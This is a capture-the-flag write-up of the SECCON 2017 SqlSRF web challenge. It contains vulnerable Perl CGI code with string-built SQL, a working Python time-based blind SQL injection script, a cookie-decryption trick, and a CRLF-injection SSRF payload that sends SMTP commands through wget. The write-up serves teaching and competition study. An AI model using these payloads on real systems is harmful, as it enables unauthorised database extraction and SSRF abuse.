SqlSRF was a 400 point Web challenge in the quals of SECCON 2017. While not exceptionally hard, it required a diverse skillset and was thus quite interesting.
SqlSRF
The root reply the flag to your mail address if you send a mail that subject is "give me flag" to root.
http://sqlsrf.pwn.seccon.jp/sqlsrf/
Upon clicking the link provided in the description, we're presented with a list of four files: bg-header.jpg, index.cgi, index.cgi_backup20171129, and menu.cgi.
I decided to look into the backup file of index.cgi right away. It contains the following code:
#!/usr/bin/perl
use CGI;
my $q = new CGI;
use CGI::Session;
my $s = CGI::Session->new(undef, $q->cookie('CGISESSID')||undef, {Directory=>'/tmp'});
$s->expire('+1M'); require './.htcrypt.pl';
my $user = $q->param('user');
print $q->header(-charset=>'UTF-8', -cookie=>
[
$q->cookie(-name=>'CGISESSID', -value=>$s->id),
($q->param('save') eq '1' ? $q->cookie(-name=>'remember', -value=>&encrypt($user), -expires=>'+1M') : undef)
]),
$q->start_html(-lang=>'ja', -encoding=>'UTF-8', -title=>'SECCON 2017', -bgcolor=>'black');
$user = &decrypt($q->cookie('remember')) if($user eq '' && $q->cookie('remember') ne '');
my $errmsg = '';
if($q->param('login') ne '') {
use DBI;
my $dbh = DBI->connect('dbi:SQLite:dbname=./.htDB');
my $sth = $dbh->prepare("SELECT password FROM users WHERE username='".$q->param('user')."';");
$errmsg = '<h2 style="color:red">Login Error!</h2>';
eval {
$sth->execute();
if(my @row = $sth->fetchrow_array) {
if($row[0] ne '' && $q->param('pass') ne '' && $row[0] eq &encrypt($q->param('pass'))) {
$s->param('autheduser', $q->param('user'));
print "<scr"."ipt>document.location='./menu.cgi';</script>";
$errmsg = '';
}
}
};
if($@) {
$errmsg = '<h2 style="color:red">Database Error!</h2>';
}
$dbh->disconnect();
}
$user = $q->escapeHTML($user);
print <<"EOM";
<!-- The Kusomon by KeigoYAMAZAKI, 2017 -->
<div style="background:#000 url(./bg-header.jpg) 50% 50% no-repeat;position:fixed;width:100%;height:300px;top:0;">
</div>
<div style="position:relative;top:300px;color:white;text-align:center;">
<h1>Login</h1>
<form action="?" method="post">$errmsg
<table border="0" align="center" style="background:white;color:black;padding:50px;border:1px solid darkgray;">
<tr><td>Username:</td><td><input type="text" name="user" value="$user"></td></tr>
<tr><td>Password:</td><td><input type="password" name="pass" value=""></td></tr>
<tr><td colspan="2"><input type="checkbox" name="save" value="1">Remember Me</td></tr>
<tr><td colspan="2" align="right"><input type="submit" name="login" value="Login"></td></tr>
</table>
</form>
</div>
</body>
</html>
EOM
1;
Without thinking too much (and hinted by the title of the challenge), I noticed that this code was vulnerable to a Time-Based SQL injection. I also know that the DBMS used is SQLite. I wrote the following code:
import requests
from time import time
url_prefix = 'http://sqlsrf.pwn.seccon.jp/sqlsrf/index.cgi?login=1&user='
payload_prefix = "admin' and password like '"
payload_suffix = "%' and 1=randomblob(300000000)--"
chars = 'abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ_'
result = ''
while True:
for char in chars:
payload = url_prefix + payload_prefix + result + char + payload_suffix
start = time()
text = requests.get(payload).text
end = time()
if end - start > 2.5:
result += char
break
print result
I just assumed that the username would be admin (which it was), but the username of the user can be bruteforced in the same way by modifying payload_prefix
a bit.
I ended up with the following results:
username = admin
password = d2f37e101c0e76bcc90b5634a5510f64
Since the encrypted password found in the database was 32 characters long, I immediately thought that it could be MD5. Unfortunately, after checking several MD5 reversing websites, I was unable to find the original password.
At this point, I supposed that admin was not the only user in the database, and that maybe I should get access to menu.cgi using another user's credentials.
By modifying the previous script a bit, I managed to find the following credentials in the database:
username = user1
password = b8e32e6d23001fad5585258ba815e424f86eb0f42e8d0e9688dfb1293ee5e9ec
This encrypted password is clearly not 32 characters long, so I concluded that the encrypt
function used in index.cgi was homemade. Unfortunately, I didn't manage to read the file using my SQL injection, as readfile
was not available.
Since I was not able to read the file containing the definition of the decrypt
function, I quickly realized that there should therefore be a way to call it.
By looking at the code a bit more, I realized that the following code could be exploited:
my $user = $q->param('user');
print $q->header(-charset=>'UTF-8', -cookie=>
[
$q->cookie(-name=>'CGISESSID', -value=>$s->id),
($q->param('save') eq '1' ? $q->cookie(-name=>'remember', -value=>&encrypt($user), -expires=>'+1M') : undef)
]),
$q->start_html(-lang=>'ja', -encoding=>'UTF-8', -title=>'SECCON 2017', -bgcolor=>'black');
$user = &decrypt($q->cookie('remember')) if($user eq '' && $q->cookie('remember') ne '');
By replaying a request with the remember
cookie set and setting it to an encrypted password, it would end up displayed in the username field on the page, as the following code shows:
<tr><td>Username:</td><td><input type="text" name="user" value="$user"></td></tr>
By doing that with the encrypted admin password d2f37e101c0e76bcc90b5634a5510f64
, I managed to obtain the plaintext password "Yes!Kusomon!!".
Using the credentials admin/Yes!Kusomon!! then gives us access to menu.cgi.
menu.cgi is a page that lets us issue two shell commands to the server: netstat -tnl
and wget --debug -O /dev/stdout 'http://<user_controlled_input>'
.
After a few checks, it appears that it is not possible to simply issue arbitrary commands from the interface, as no command injection seems to be possible.
Now, the title of the challenge did mention some kind of S(ql)SRF. Based on this knowledge, I ran the netstat -tnl
command and got the following output:
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN
tcp 0 0 127.0.0.1:25 0.0.0.0:* LISTEN
tcp6 0 0 :::22 :::* LISTEN
tcp6 0 0 ::1:25 :::* LISTEN
Hm… A service is running locally on port 25, which is common for SMTP. The description of the challenge did say that the root would reply with the flag to my mail address if I sent him an email with the subject give me flag.
Coincidentally, this also reminded me of this presentation at BlackHat USA 2017 (TL;DR wget
is vulnerable to CRLF injections).
Armed with this knowledge, it was just a matter of crafting the payload, with every special character url encoded:
127.0.0.1 %0D%0AHELO sqlsrf.pwn.seccon.jp%0D%0AMAIL FROM%3A %3CSIben%40mindyourownbusiness.com%3E%0D%0ARCPT TO%3A %3Croot%40localhost%3E%0D%0ADATA%0D%0ASubject%3A give me flag%0D%0Agive me flag%0D%0A.%0D%0AQUIT%0D%0A:25/
A few seconds after sending this payload, I received an email with the following content:
Encrypted-FLAG: 37208e07f86ba78a7416ecd535fd874a3b98b964005a5503bcaa41a1c9b42a19
More encryption? I immediately went back to the Reversing the passwords step and put this encrypted string in the cookie.
This outputs the flag: SECCON{SSRFisMyFriend!}